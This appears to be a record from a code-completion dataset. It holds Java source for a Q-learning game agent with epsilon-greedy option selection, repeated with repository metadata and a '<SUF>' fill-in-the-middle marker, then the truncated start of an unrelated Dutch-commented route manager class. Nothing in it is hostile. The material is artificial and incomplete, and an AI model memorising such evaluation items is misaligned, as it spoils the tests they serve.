public final Double DEFAULT_Q_VALUE = 0.0;
/** Exploration depth for building q and v */
public final int EXPLORATION_DEPTH = 20;
/** Epsilon for exploration vs. exploitation */
public final double EPSILON = .2;
/** The learning rate of this algorithm */
public final double ALPHA = .1;
/** The gamma of this algorithm */
public static double GAMMA = .9;
/** Theta for noise */
public final double THETA = 1e-5;
/** File to write q table to */
protected String filename;
/** Own state heuristic */
protected StateHeuristic stateHeuristic;
/** A set containing which obsId's already have options in this agent */
protected HashSet<Integer> optionObsIDs = new HashSet<Integer>();
/** AStar for searching for stuff */
public static AStar aStar;
/** orientation */
public static Vector2d avatarOrientation;
public Agent(StateObservation so, ElapsedCpuTimer elapsedTimer)
{
Agent.random = new Random();
Agent.aStar = new AStar(so);
stateHeuristic = new SimpleStateHeuristic(so);
possibleOptions = new ArrayList<Option>();
this.previousScore = score(so);
// instantiate possibleOptions with actions
setOptionsForActions(so.getAvailableActions());
setOptions(so);
this.filename = "tables/qlearning" + Lib.filePostfix;
try
{
Object o = Lib.loadObjectFromFile(filename);
q = (DefaultHashMap<SerializableTuple
<SimplifiedObservation, Option>, Double>) o;
System.out.printf("time remaining: %d\n",
elapsedTimer.remainingTimeMillis());
}
catch (Exception e)
{
System.out.println(
"probably, it wasn't a hashmap, or the file didn't exist or something. Using empty q table");
e.printStackTrace();
}
if(q == null)
q = new DefaultHashMap<SerializableTuple
<SimplifiedObservation, Option>, Double> (DEFAULT_Q_VALUE);
// Instantiate previousState to the starting state to prevent null
// pointers.
// Instantiate currentOption with an epsilon-greedy option
setAvatarOrientation(so);
explore(so, elapsedTimer, INIT_EXPLORATION_DEPTH);
System.out.printf("End of constructor, miliseconds remaining: %d\n", elapsedTimer.remainingTimeMillis());
}
/**
* Explore using the state observation and enter values in the V and Q
* tables
*/
public void explore(StateObservation so, ElapsedCpuTimer elapsedTimer,
int explorationDepth)
{
// Initialize variables for loop:
// depth of inner for loop
int depth;
// state that is advanced to try out a new action
StateObservation soCopy;
// old score and old state will act as surrogates for previousState and
// previousScore in this function
double oldScore, newScore;
// Save current previousState in firstPreviousState
StateObservation firstPreviousState = this.previousState;
// Create a shallow copy of the possibleObsIDs and to restore at the end
HashSet<Integer> pObsIDs = (HashSet<Integer>) this.optionObsIDs.clone();
ArrayList<Option> pOptions = (ArrayList<Option>) this.possibleOptions.clone();
// Key for the q-table
SerializableTuple<SimplifiedObservation, Option> sop;
// This loop's surrogate for this.currentOption
Option chosenOption;
// Currently only the greedy action will have to be taken after this is
// done, so we can take as much time as possible!
outerloop:
while(elapsedTimer.remainingTimeMillis() > 10.)
{
// Copy the state so we can advance it
soCopy = so.copy();
// Initialize with the current old score. we don't need to
// initialize the newScore and -State because that's done in the
// first few lines of the inner loop
oldScore = previousScore;
// Start by using the currently chosen option (TODO: Maybe option
// breaking should be introduced later)
//Option chosenOption = currentOption.copy();
if(currentOption == null || currentOption.isFinished(soCopy))
chosenOption = epsilonGreedyOption(new SimplifiedObservation(soCopy), EPSILON);
else
chosenOption = this.currentOption.copy();
// Instantiate previousState to the current state
this.previousState = soCopy.copy();
for(depth=0; depth<explorationDepth && !soCopy.isGameOver(); depth++)
{
// This advances soCopy with the action chosen by the option
soCopy.advance(chosenOption.act(soCopy));
newScore = score(soCopy);
// Find new possible options
setOptions(soCopy);
//newScore = soCopy.getGameScore();
// Update option information and new score and, if needed, do
// epsilon-greegy option selection
chosenOption = updateOption(chosenOption, soCopy, this.previousState, newScore - oldScore, false);
oldScore = newScore;
if(elapsedTimer.remainingTimeMillis() < 8.)
{
break outerloop;
}
}
}
// Restore current previousState, possibleOptions and possibleObsIDs to
// what it was before exploring
this.previousState = firstPreviousState;
this.possibleOptions = pOptions;
this.optionObsIDs = pObsIDs;
}
/** updates q values for newState. */
public void updateQ(Option o, SimplifiedObservation newState, SimplifiedObservation oldState)
{
double maxAQ = getMaxQFromState(newState);
SerializableTuple<SimplifiedObservation, Option> sop =
new SerializableTuple <SimplifiedObservation, Option>(oldState, o);
// Update rule from
// http://webdocs.cs.ualberta.ca/~sutton/book/ebook/node65.html
q.put(sop, q.get(sop) + ALPHA * (o.getReward() +
Math.pow(GAMMA, o.getStep()) * maxAQ - q.get(sop)));
}
protected double getMaxQFromState(SimplifiedObservation newState)
{
SerializableTuple<SimplifiedObservation, Option> sop;
double maxAQ = Lib.HUGE_NEGATIVE;
double qValue;
for (Option a : possibleOptions)
{
sop = new SerializableTuple
<SimplifiedObservation, Option>(newState, a);
qValue = q.get(sop);
if(qValue > maxAQ)
{
maxAQ = qValue;
}
}
return maxAQ;
}
/** This function does:
* 1. update the option reward
* 2. check if the option is done
* 3. choose a new option if needed
* 4. update the Q-values
*/
protected Option updateOption(Option option, StateObservation newState,
StateObservation oldState, double score, boolean greedy)
{
// Add the new reward to this option
option.addReward(score);
if(option.isFinished(newState))
{
SimplifiedObservation simpleNewState = new SimplifiedObservation(newState);
SimplifiedObservation simpleOldState = new SimplifiedObservation(oldState);
// Update q values for the finished option
updateQ(option, simpleNewState, simpleOldState);
// get a new option
if(greedy)
option = greedyOption(simpleNewState, false);
else
option = epsilonGreedyOption(simpleNewState, EPSILON);
// Change oldState to newState.
this.previousState = newState.copy();
//if(greedy)
// System.out.println("Changed to option " + option);
}
// If a new option is selected, return the new option. Else the old
// option will be returned
return option;
}
/** Scores the state. This enables simple changing of the scoring method
* without having to change it everywhere
*/
protected double score(StateObservation so)
{
return Lib.simpleValue(so);
}
/** Instantiates options array with ActionOptions for all possible actions
*/
protected void setOptionsForActions(ArrayList<Types.ACTIONS> actions)
{
for(Types.ACTIONS action : actions)
{
this.possibleOptions.add(new ActionOption(GAMMA, action));
}
}
protected void setOptions(StateObservation so)
{
// Holds the ObsIDs that were already present in this.optionObsIDs
HashSet<Integer> keepObsIDs = new HashSet<Integer>();
// Holds the new obsIDs
HashSet<Integer> newObsIDs = new HashSet<Integer>();
ArrayList<Types.ACTIONS> act = so.getAvailableActions();
// Set options for all types of sprites that exist in this game. If they
// don't exist, the getter will return null and no options will be
// created.
if(act.contains(Types.ACTIONS.ACTION_UP) &&
act.contains(Types.ACTIONS.ACTION_DOWN) &&
act.contains(Types.ACTIONS.ACTION_LEFT) &&
act.contains(Types.ACTIONS.ACTION_RIGHT))
{
if(so.getNPCPositions() != null)
createOptions(so.getNPCPositions(), Lib.GETTER_TYPE.NPC, so, keepObsIDs, newObsIDs);
if(so.getMovablePositions() != null)
createOptions(so.getMovablePositions(), Lib.GETTER_TYPE.MOVABLE, so, keepObsIDs, newObsIDs);
if(so.getImmovablePositions() != null)
createOptions(so.getImmovablePositions(), Lib.GETTER_TYPE.IMMOVABLE, so, keepObsIDs, newObsIDs);
if(so.getResourcesPositions() != null)
createOptions(so.getResourcesPositions(), Lib.GETTER_TYPE.RESOURCE, so, keepObsIDs, newObsIDs);
if(so.getPortalsPositions() != null)
createOptions(so.getPortalsPositions(), Lib.GETTER_TYPE.PORTAL, so, keepObsIDs, newObsIDs);
//// Remove all "old" obsIDs from this.optionObsIDs. optionObsIDs will
//// then only contain obsolete obsIDs
//this.optionObsIDs.removeAll(keepObsIDs);
//// Now remove all options that have the obsIDs in optionObsIDs.
//// We use the iterator, in order to ensure removing while iterating is
//// possible
//for (Iterator<Option> it = this.possibleOptions.iterator(); it.hasNext();)
//{
// Option option = it.next();
// // Remove the options that are still in optionObsIDs.
// if(this.optionObsIDs.contains(option.getObsID()))
// {
// it.remove();
// }
//}
//// Now all options are up-to-date. this.optionObsIDs should be updated
//// to represent the current options list:
//this.optionObsIDs = newObsIDs;
}
// Wait and shoot option:
for(int range=0; range<7; range+=2)
{
if(so.getNPCPositions() != null
&& act.contains(Types.ACTIONS.ACTION_USE))
{
for(ArrayList<Observation> ao : so.getNPCPositions())
{
if(ao.size() > 0)
{
WaitAndShootOption o = new WaitAndShootOption(GAMMA,
ao.get(0).itype, range);
if(!this.possibleOptions.contains(o))
this.possibleOptions.add(o);
}
}
}
}
// AvoidNearest option:
AvoidNearestNpcOption anno = new AvoidNearestNpcOption(GAMMA);
if(so.getNPCPositions() == null || so.getNPCPositions().length == 0)
this.possibleOptions.remove(anno);
else if(!this.possibleOptions.contains(anno))
{
this.possibleOptions.add(anno);
}
// We use the iterator, in order to ensure removing while iterating is
// possible
for(Iterator<Option> it = this.possibleOptions.iterator(); it.hasNext();)
{
Option option = it.next();
// Remove the options that are still in optionObsIDs.
if(option.isFinished(so))
{
//System.out.println("Option " + option + " is finished");
it.remove();
}
}
}
/** Adds new obsIDs to newObsIDs the set and ID's that should be kept to
* keepObsIDs, based on the ID's in the ArrayList observations
* Also creates options for all new obsIDs
*/
protected void createOptions(ArrayList<Observation>[] observations,
Lib.GETTER_TYPE type,
StateObservation so,
HashSet<Integer> keepObsIDs,
HashSet<Integer> newObsIDs)
{
// Loop through all types of NPCs
for(ArrayList<Observation> observationType : observations)
{
// Loop through all the NPC's of this type
for(Observation observation : observationType)
{
// ignore walls
if(observation.itype == 0)
continue;
// Check if this is a new obsID
if(! this.optionObsIDs.contains(observation.obsID))
{
Option o;
// Create option for this obsID
if(type == Lib.GETTER_TYPE.NPC || type == Lib.GETTER_TYPE.MOVABLE)
{
o = new GoToMovableOption(GAMMA,
type, observation.itype, observation.obsID, so);
Option o2 = new GoNearMovableOption(GAMMA,
type, observation.itype, observation.obsID, so);
if(!this.possibleOptions.contains(o2))
this.possibleOptions.add(o2);
}
else
{
o = new GoToPositionOption(GAMMA,
type, observation.itype, observation.obsID, so);
}
if(!this.possibleOptions.contains(o))
this.possibleOptions.add(o);
}
//else
// // Add to the list of options that should be kept
// keepObsIDs.add(observation.obsID);
//newObsIDs.add(observation.obsID);
}
//System.out.print("]\n");
}
}
/** Selects an epsilon greedy value based on the internal q table. Returns
* the optimal option as index of the this.actions array.
*/
protected Option epsilonGreedyOption(SimplifiedObservation sso, double epsilon)
{
// Either way we need to know WHAT the greedy option is, in order to
// know whether we have taken a greedy option
Option greedyOption = greedyOption(sso);
// Select a random option with prob. EPSILON
if(random.nextDouble() < epsilon)
{
// Get random option
Option option = possibleOptions.get(
random.nextInt(possibleOptions.size()));
// Set whether the last option was greedy to true: This is used for
// learning
lastOptionGreedy = option == greedyOption;
return option.copy();
}
// Else, select greedy option:
lastOptionGreedy = true;
return greedyOption;
}
/** Take the greedy option, based on HashMap q.
* @param sso The simplified state observation
* @param print if this is true, the observation and greedy option are
* printed
*/
protected Option greedyOption(SimplifiedObservation sso, boolean print)
{
double value;
double maxValue = Lib.HUGE_NEGATIVE;
Option maxOption = possibleOptions.get(0);
SerializableTuple<SimplifiedObservation, Option> sop;
if(print)
System.out.println("SSO: " + sso);
// select option with highest value for this sso
for (Option o : possibleOptions)
{
// Create state-option tuple
sop = new SerializableTuple<SimplifiedObservation, Option>(sso, o);
// Get the next option value, with a little bit of noise to enable
// random selection
value = Utils.noise(q.get(sop), THETA, random.nextDouble());
if(print)
System.out.printf("Value %s = %f\n", o, value);
if(value > maxValue)
{
maxValue = value;
maxOption = o;
}
}
if(print)
System.out.printf("Option %s with value %f\n\n", maxOption, maxValue);
// return the optimal option
return maxOption.copy();
}
/** Overload for backwards compatibility */
protected Option greedyOption(SimplifiedObservation sso)
{
return greedyOption(sso, false);
}
/** write q to file */
@Override
public void teardown()
{
Lib.writeHashMapToFile(q, filename);
//System.out.println(q);
super.teardown();
}
private void setAvatarOrientation(StateObservation so)
{
if(so.getAvatarOrientation().x == 0. &&
so.getAvatarOrientation().y == 0.)
Agent.avatarOrientation = Lib.spriteFromAvatarOrientation(so);
else
Agent.avatarOrientation = so.getAvatarOrientation();
}
public Types.ACTIONS act(StateObservation so, ElapsedCpuTimer elapsedTimer)
{
setAvatarOrientation(so);
setOptions(so);
double newScore = score(so);
//double newScore = so.getGameScore();
explore(so, elapsedTimer, EXPLORATION_DEPTH);
// update option. This also updates this.previousState if needed
// We can only update from step 2
if(this.previousState == null)
{
// First time, initialize previous state to the current state and currentOption to
// greedy option: From now on, stuff can happen!
this.previousState = so;
SimplifiedObservation newState = new SimplifiedObservation(so);
currentOption = greedyOption(newState);
}
else
{
currentOption = updateOption(this.currentOption, so, this.previousState, newScore - previousScore, true);
SimplifiedObservation newState = new SimplifiedObservation(so);
// Always choose a new option, in order to not get stuck
currentOption = greedyOption(newState);
}
//System.out.println("Astar:\n" + aStar);
//System.out.println("Possible options" + this.possibleOptions);
//System.out.println("Following option " + currentOption);
this.previousScore = newScore;
return currentOption.act(so);
}
}
| mrtndwrd/OMCTS | src/qlearning/Agent.java | 5,571 | /**
* User: mrtndwrd
* Date: 13-01-2015
* @author Maarten de Waard
*/ | block_comment | nl | package qlearning;
import controllers.Heuristics.StateHeuristic;
import controllers.Heuristics.SimpleStateHeuristic;
import controllers.Heuristics.WinScoreHeuristic;
import core.game.StateObservation;
import core.game.Observation;
import core.player.AbstractPlayer;
import ontology.Types;
import tools.ElapsedCpuTimer;
import tools.Utils;
import tools.Vector2d;
import java.awt.*;
import java.util.HashMap;
import java.util.Random;
import java.util.concurrent.TimeoutException;
import java.util.ArrayList;
import java.util.HashSet;
import java.io.FileOutputStream;
import java.util.Iterator;
/**
* User: mrtndwrd
<SUF>*/
public class Agent extends AbstractPlayer
{
/** Exploration depth for building q and v */
protected final int INIT_EXPLORATION_DEPTH = 30;
protected ArrayList<Option> possibleOptions;
/** Mapping from State, Option (as index from above options array) to
* expected Reward (value), the "Q table" */
protected DefaultHashMap<SerializableTuple<SimplifiedObservation, Option>, Double> q;
public static Random random;
/** Saves the last non-greedy option timestep */
protected boolean lastOptionGreedy = false;
/** The option that is currently being followed */
protected Option currentOption;
/** The previous score, assumes scores always start at 0 (so no games should
* be present that have a score that decreases over time and starts > 0 or
* something) */
protected double previousScore;
/** The previous state */
protected StateObservation previousState;
/** Default value for q */
public final Double DEFAULT_Q_VALUE = 0.0;
/** Exploration depth for building q and v */
public final int EXPLORATION_DEPTH = 20;
/** Epsilon for exploration vs. exploitation */
public final double EPSILON = .2;
/** The learning rate of this algorithm */
public final double ALPHA = .1;
/** The gamma of this algorithm */
public static double GAMMA = .9;
/** Theta for noise */
public final double THETA = 1e-5;
/** File to write q table to */
protected String filename;
/** Own state heuristic */
protected StateHeuristic stateHeuristic;
/** A set containing which obsId's already have options in this agent */
protected HashSet<Integer> optionObsIDs = new HashSet<Integer>();
/** AStar for searching for stuff */
public static AStar aStar;
/** orientation */
public static Vector2d avatarOrientation;
public Agent(StateObservation so, ElapsedCpuTimer elapsedTimer)
{
Agent.random = new Random();
Agent.aStar = new AStar(so);
stateHeuristic = new SimpleStateHeuristic(so);
possibleOptions = new ArrayList<Option>();
this.previousScore = score(so);
// instantiate possibleOptions with actions
setOptionsForActions(so.getAvailableActions());
setOptions(so);
this.filename = "tables/qlearning" + Lib.filePostfix;
try
{
Object o = Lib.loadObjectFromFile(filename);
q = (DefaultHashMap<SerializableTuple
<SimplifiedObservation, Option>, Double>) o;
System.out.printf("time remaining: %d\n",
elapsedTimer.remainingTimeMillis());
}
catch (Exception e)
{
System.out.println(
"probably, it wasn't a hashmap, or the file didn't exist or something. Using empty q table");
e.printStackTrace();
}
if(q == null)
q = new DefaultHashMap<SerializableTuple
<SimplifiedObservation, Option>, Double> (DEFAULT_Q_VALUE);
// Instantiate previousState to the starting state to prevent null
// pointers.
// Instantiate currentOption with an epsilon-greedy option
setAvatarOrientation(so);
explore(so, elapsedTimer, INIT_EXPLORATION_DEPTH);
System.out.printf("End of constructor, miliseconds remaining: %d\n", elapsedTimer.remainingTimeMillis());
}
/**
* Explore using the state observation and enter values in the V and Q
* tables
*/
public void explore(StateObservation so, ElapsedCpuTimer elapsedTimer,
int explorationDepth)
{
// Initialize variables for loop:
// depth of inner for loop
int depth;
// state that is advanced to try out a new action
StateObservation soCopy;
// old score and old state will act as surrogates for previousState and
// previousScore in this function
double oldScore, newScore;
// Save current previousState in firstPreviousState
StateObservation firstPreviousState = this.previousState;
// Create a shallow copy of the possibleObsIDs and to restore at the end
HashSet<Integer> pObsIDs = (HashSet<Integer>) this.optionObsIDs.clone();
ArrayList<Option> pOptions = (ArrayList<Option>) this.possibleOptions.clone();
// Key for the q-table
SerializableTuple<SimplifiedObservation, Option> sop;
// This loop's surrogate for this.currentOption
Option chosenOption;
// Currently only the greedy action will have to be taken after this is
// done, so we can take as much time as possible!
outerloop:
while(elapsedTimer.remainingTimeMillis() > 10.)
{
// Copy the state so we can advance it
soCopy = so.copy();
// Initialize with the current old score. we don't need to
// initialize the newScore and -State because that's done in the
// first few lines of the inner loop
oldScore = previousScore;
// Start by using the currently chosen option (TODO: Maybe option
// breaking should be introduced later)
//Option chosenOption = currentOption.copy();
if(currentOption == null || currentOption.isFinished(soCopy))
chosenOption = epsilonGreedyOption(new SimplifiedObservation(soCopy), EPSILON);
else
chosenOption = this.currentOption.copy();
// Instantiate previousState to the current state
this.previousState = soCopy.copy();
for(depth=0; depth<explorationDepth && !soCopy.isGameOver(); depth++)
{
// This advances soCopy with the action chosen by the option
soCopy.advance(chosenOption.act(soCopy));
newScore = score(soCopy);
// Find new possible options
setOptions(soCopy);
//newScore = soCopy.getGameScore();
// Update option information and new score and, if needed, do
// epsilon-greegy option selection
chosenOption = updateOption(chosenOption, soCopy, this.previousState, newScore - oldScore, false);
oldScore = newScore;
if(elapsedTimer.remainingTimeMillis() < 8.)
{
break outerloop;
}
}
}
// Restore current previousState, possibleOptions and possibleObsIDs to
// what it was before exploring
this.previousState = firstPreviousState;
this.possibleOptions = pOptions;
this.optionObsIDs = pObsIDs;
}
/** updates q values for newState. */
public void updateQ(Option o, SimplifiedObservation newState, SimplifiedObservation oldState)
{
double maxAQ = getMaxQFromState(newState);
SerializableTuple<SimplifiedObservation, Option> sop =
new SerializableTuple <SimplifiedObservation, Option>(oldState, o);
// Update rule from
// http://webdocs.cs.ualberta.ca/~sutton/book/ebook/node65.html
q.put(sop, q.get(sop) + ALPHA * (o.getReward() +
Math.pow(GAMMA, o.getStep()) * maxAQ - q.get(sop)));
}
protected double getMaxQFromState(SimplifiedObservation newState)
{
SerializableTuple<SimplifiedObservation, Option> sop;
double maxAQ = Lib.HUGE_NEGATIVE;
double qValue;
for (Option a : possibleOptions)
{
sop = new SerializableTuple
<SimplifiedObservation, Option>(newState, a);
qValue = q.get(sop);
if(qValue > maxAQ)
{
maxAQ = qValue;
}
}
return maxAQ;
}
/** This function does:
* 1. update the option reward
* 2. check if the option is done
* 3. choose a new option if needed
* 4. update the Q-values
*/
protected Option updateOption(Option option, StateObservation newState,
StateObservation oldState, double score, boolean greedy)
{
// Add the new reward to this option
option.addReward(score);
if(option.isFinished(newState))
{
SimplifiedObservation simpleNewState = new SimplifiedObservation(newState);
SimplifiedObservation simpleOldState = new SimplifiedObservation(oldState);
// Update q values for the finished option
updateQ(option, simpleNewState, simpleOldState);
// get a new option
if(greedy)
option = greedyOption(simpleNewState, false);
else
option = epsilonGreedyOption(simpleNewState, EPSILON);
// Change oldState to newState.
this.previousState = newState.copy();
//if(greedy)
// System.out.println("Changed to option " + option);
}
// If a new option is selected, return the new option. Else the old
// option will be returned
return option;
}
/** Scores the state. This enables simple changing of the scoring method
* without having to change it everywhere
*/
protected double score(StateObservation so)
{
return Lib.simpleValue(so);
}
/** Instantiates options array with ActionOptions for all possible actions
*/
protected void setOptionsForActions(ArrayList<Types.ACTIONS> actions)
{
for(Types.ACTIONS action : actions)
{
this.possibleOptions.add(new ActionOption(GAMMA, action));
}
}
protected void setOptions(StateObservation so)
{
// Holds the ObsIDs that were already present in this.optionObsIDs
HashSet<Integer> keepObsIDs = new HashSet<Integer>();
// Holds the new obsIDs
HashSet<Integer> newObsIDs = new HashSet<Integer>();
ArrayList<Types.ACTIONS> act = so.getAvailableActions();
// Set options for all types of sprites that exist in this game. If they
// don't exist, the getter will return null and no options will be
// created.
if(act.contains(Types.ACTIONS.ACTION_UP) &&
act.contains(Types.ACTIONS.ACTION_DOWN) &&
act.contains(Types.ACTIONS.ACTION_LEFT) &&
act.contains(Types.ACTIONS.ACTION_RIGHT))
{
if(so.getNPCPositions() != null)
createOptions(so.getNPCPositions(), Lib.GETTER_TYPE.NPC, so, keepObsIDs, newObsIDs);
if(so.getMovablePositions() != null)
createOptions(so.getMovablePositions(), Lib.GETTER_TYPE.MOVABLE, so, keepObsIDs, newObsIDs);
if(so.getImmovablePositions() != null)
createOptions(so.getImmovablePositions(), Lib.GETTER_TYPE.IMMOVABLE, so, keepObsIDs, newObsIDs);
if(so.getResourcesPositions() != null)
createOptions(so.getResourcesPositions(), Lib.GETTER_TYPE.RESOURCE, so, keepObsIDs, newObsIDs);
if(so.getPortalsPositions() != null)
createOptions(so.getPortalsPositions(), Lib.GETTER_TYPE.PORTAL, so, keepObsIDs, newObsIDs);
//// Remove all "old" obsIDs from this.optionObsIDs. optionObsIDs will
//// then only contain obsolete obsIDs
//this.optionObsIDs.removeAll(keepObsIDs);
//// Now remove all options that have the obsIDs in optionObsIDs.
//// We use the iterator, in order to ensure removing while iterating is
//// possible
//for (Iterator<Option> it = this.possibleOptions.iterator(); it.hasNext();)
//{
// Option option = it.next();
// // Remove the options that are still in optionObsIDs.
// if(this.optionObsIDs.contains(option.getObsID()))
// {
// it.remove();
// }
//}
//// Now all options are up-to-date. this.optionObsIDs should be updated
//// to represent the current options list:
//this.optionObsIDs = newObsIDs;
}
// Wait and shoot option:
for(int range=0; range<7; range+=2)
{
if(so.getNPCPositions() != null
&& act.contains(Types.ACTIONS.ACTION_USE))
{
for(ArrayList<Observation> ao : so.getNPCPositions())
{
if(ao.size() > 0)
{
WaitAndShootOption o = new WaitAndShootOption(GAMMA,
ao.get(0).itype, range);
if(!this.possibleOptions.contains(o))
this.possibleOptions.add(o);
}
}
}
}
// AvoidNearest option:
AvoidNearestNpcOption anno = new AvoidNearestNpcOption(GAMMA);
if(so.getNPCPositions() == null || so.getNPCPositions().length == 0)
this.possibleOptions.remove(anno);
else if(!this.possibleOptions.contains(anno))
{
this.possibleOptions.add(anno);
}
// We use the iterator, in order to ensure removing while iterating is
// possible
for(Iterator<Option> it = this.possibleOptions.iterator(); it.hasNext();)
{
Option option = it.next();
// Remove the options that are still in optionObsIDs.
if(option.isFinished(so))
{
//System.out.println("Option " + option + " is finished");
it.remove();
}
}
}
/** Adds new obsIDs to newObsIDs the set and ID's that should be kept to
* keepObsIDs, based on the ID's in the ArrayList observations
* Also creates options for all new obsIDs
*/
protected void createOptions(ArrayList<Observation>[] observations,
Lib.GETTER_TYPE type,
StateObservation so,
HashSet<Integer> keepObsIDs,
HashSet<Integer> newObsIDs)
{
// Loop through all types of NPCs
for(ArrayList<Observation> observationType : observations)
{
// Loop through all the NPC's of this type
for(Observation observation : observationType)
{
// ignore walls
if(observation.itype == 0)
continue;
// Check if this is a new obsID
if(! this.optionObsIDs.contains(observation.obsID))
{
Option o;
// Create option for this obsID
if(type == Lib.GETTER_TYPE.NPC || type == Lib.GETTER_TYPE.MOVABLE)
{
o = new GoToMovableOption(GAMMA,
type, observation.itype, observation.obsID, so);
Option o2 = new GoNearMovableOption(GAMMA,
type, observation.itype, observation.obsID, so);
if(!this.possibleOptions.contains(o2))
this.possibleOptions.add(o2);
}
else
{
o = new GoToPositionOption(GAMMA,
type, observation.itype, observation.obsID, so);
}
if(!this.possibleOptions.contains(o))
this.possibleOptions.add(o);
}
//else
// // Add to the list of options that should be kept
// keepObsIDs.add(observation.obsID);
//newObsIDs.add(observation.obsID);
}
//System.out.print("]\n");
}
}
/** Selects an epsilon greedy value based on the internal q table. Returns
* the optimal option as index of the this.actions array.
*/
protected Option epsilonGreedyOption(SimplifiedObservation sso, double epsilon)
{
// Either way we need to know WHAT the greedy option is, in order to
// know whether we have taken a greedy option
Option greedyOption = greedyOption(sso);
// Select a random option with prob. EPSILON
if(random.nextDouble() < epsilon)
{
// Get random option
Option option = possibleOptions.get(
random.nextInt(possibleOptions.size()));
// Set whether the last option was greedy to true: This is used for
// learning
lastOptionGreedy = option == greedyOption;
return option.copy();
}
// Else, select greedy option:
lastOptionGreedy = true;
return greedyOption;
}
/** Take the greedy option, based on HashMap q.
* @param sso The simplified state observation
* @param print if this is true, the observation and greedy option are
* printed
*/
protected Option greedyOption(SimplifiedObservation sso, boolean print)
{
double value;
double maxValue = Lib.HUGE_NEGATIVE;
Option maxOption = possibleOptions.get(0);
SerializableTuple<SimplifiedObservation, Option> sop;
if(print)
System.out.println("SSO: " + sso);
// select option with highest value for this sso
for (Option o : possibleOptions)
{
// Create state-option tuple
sop = new SerializableTuple<SimplifiedObservation, Option>(sso, o);
// Get the next option value, with a little bit of noise to enable
// random selection
value = Utils.noise(q.get(sop), THETA, random.nextDouble());
if(print)
System.out.printf("Value %s = %f\n", o, value);
if(value > maxValue)
{
maxValue = value;
maxOption = o;
}
}
if(print)
System.out.printf("Option %s with value %f\n\n", maxOption, maxValue);
// return the optimal option
return maxOption.copy();
}
/** Overload for backwards compatibility */
protected Option greedyOption(SimplifiedObservation sso)
{
return greedyOption(sso, false);
}
/** write q to file */
@Override
public void teardown()
{
Lib.writeHashMapToFile(q, filename);
//System.out.println(q);
super.teardown();
}
private void setAvatarOrientation(StateObservation so)
{
if(so.getAvatarOrientation().x == 0. &&
so.getAvatarOrientation().y == 0.)
Agent.avatarOrientation = Lib.spriteFromAvatarOrientation(so);
else
Agent.avatarOrientation = so.getAvatarOrientation();
}
public Types.ACTIONS act(StateObservation so, ElapsedCpuTimer elapsedTimer)
{
setAvatarOrientation(so);
setOptions(so);
double newScore = score(so);
//double newScore = so.getGameScore();
explore(so, elapsedTimer, EXPLORATION_DEPTH);
// update option. This also updates this.previousState if needed
// We can only update from step 2
if(this.previousState == null)
{
// First time, initialize previous state to the current state and currentOption to
// greedy option: From now on, stuff can happen!
this.previousState = so;
SimplifiedObservation newState = new SimplifiedObservation(so);
currentOption = greedyOption(newState);
}
else
{
currentOption = updateOption(this.currentOption, so, this.previousState, newScore - previousScore, true);
SimplifiedObservation newState = new SimplifiedObservation(so);
// Always choose a new option, in order to not get stuck
currentOption = greedyOption(newState);
}
//System.out.println("Astar:\n" + aStar);
//System.out.println("Possible options" + this.possibleOptions);
//System.out.println("Following option " + currentOption);
this.previousScore = newScore;
return currentOption.act(so);
}
}
|
56206_9 | /**
*
*/
package nl.avans.festivalplanner.utils;
import java.io.Serializable;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import nl.avans.festivalplanner.model.simulator.Element;
import nl.avans.festivalplanner.model.simulator.Signpost;
/**
* RouteManger (Singleton)
*
* @author Jordy Sipkema
* @version 2.0
*/
public class RouteManager implements Serializable
{
private static RouteManager _instance = null;
private HashSet<Signpost> _signposts = new HashSet<>();
/**
*
*/
private RouteManager()
{
// TODO Auto-generated constructor stub
}
public static RouteManager instance()
{
if (_instance == null)
{
_instance = new RouteManager();
}
return _instance;
}
/**
* Gives the next node someone must walk to in order to reach the final
* destination
*
* @param destination
* the final destination
* @param location
* the current location
* @return The next node (this could be the final destination)
* @author Jordy Sipkema
*/
public Element getNextDestination(Element destination, Element location)
{
if (destination.equals(location)) // Als dit waar is, zijn we klaar.
return location;
Signpost sp_loc = this.getPointingSignpost(location);
Signpost sp_goal = this.getPointingSignpost(destination);
// Controle: Kan ik vanaf dit punt wel naar het doel toe?
if (this.isSignpostPointingTo(sp_loc, destination))
{
// STAP 1: Ben ik al bij een signpost?
if (location instanceof Signpost)
{
// STAP 1 == JA: ga verder >>
// STAP 2: Is de signpost die naar het doel wijst, gelijk aan de
// signpost die naar mijn location wijst?
if (sp_loc.equals(sp_goal))
{
// STAP 2 == JA: Dan gaan we rechtstreeks naar het doel!
return destination;
}
else
{
// STAP 2 == NEE: Dan gaan we een Signpost dichter naar het
// doel.
return this.getCloserSignPost(sp_loc, destination);
}
}
else
{
// STAP 1 == NEE: Ga hier eerst naar toe.
return sp_loc;
}
}
return sp_goal;
}
/**
* Gets the specified signpost from the list.
*
* @param signpost
* The signpost to search for
* @return The signpost searched for OR null if no signpost is found
* @author Jordy Sipkema
*/
public Signpost getSignpost(Signpost signpost)
{
if (_signposts.contains(signpost))
{
for (Signpost sp : _signposts)
{
if (sp.equals(signpost))
{
return sp;
}
}
}
return null;
}
/**
* Gets all signposts registered in the RouteManager
*
* @return All signposts
* @author Jordy Sipkema
*/
public Set<Signpost> getAllSignposts()
{
return _signposts;
}
/**
* Registers a signpost to the routemanager
*
* @param signpost
* The signpost to add
* @author Jordy Sipkema
*/
public void addSignpost(Signpost signpost)
{
_signposts.add(signpost);
}
/**
* Removes a signpost from the routemanager
*
* WARNING: This method also removes all references to this signpost from
* ALL other signposts that are registered.
*
* @param signpost
* The signpost to remove
* @author Jordy Sipkema
*/
public void removeSignpost(Signpost signpost)
{
_signposts.remove(signpost);
for (Signpost sp : this.getAllSignposts())
{
sp.removePointer(signpost);
}
}
/**
* Adds a pointer to a signpost
*
* @param signpost
* The signpost to add the pointer to
* @param pointTo
* The pointer to be added
* @return Boolean indicating succes.
* @author Jordy Sipkema
*/
public boolean addPointer(Signpost signpost, Element pointTo)
{
Signpost sp = this.getSignpost(signpost);
if (sp != null)
{
sp.addPointer(pointTo);
return true;
}
return false;
}
/**
* Removes a pointer from a singpost
*
* @param signpost
* The signpost to remove the pointer from.
* @param pointTo
* The pointer to be removed
* @return Boolean indicating succes.
* @author Jordy Sipkema
*/
public boolean removePointer(Signpost signpost, Element pointTo)
{
Signpost sp = this.getSignpost(signpost);
if (sp != null)
{
sp.removePointer(pointTo);
return true;
}
return false;
}
/**
* Gets the signpost that is pointing to the given element
*
* @param element
* The element searching a pointer to
* @return The signpost that is pointing to this element OR if the element
* is a signpost, the element (as a signpost)
* @author Jordy Sipkema
*/
public Signpost getPointingSignpost(Element element)
{
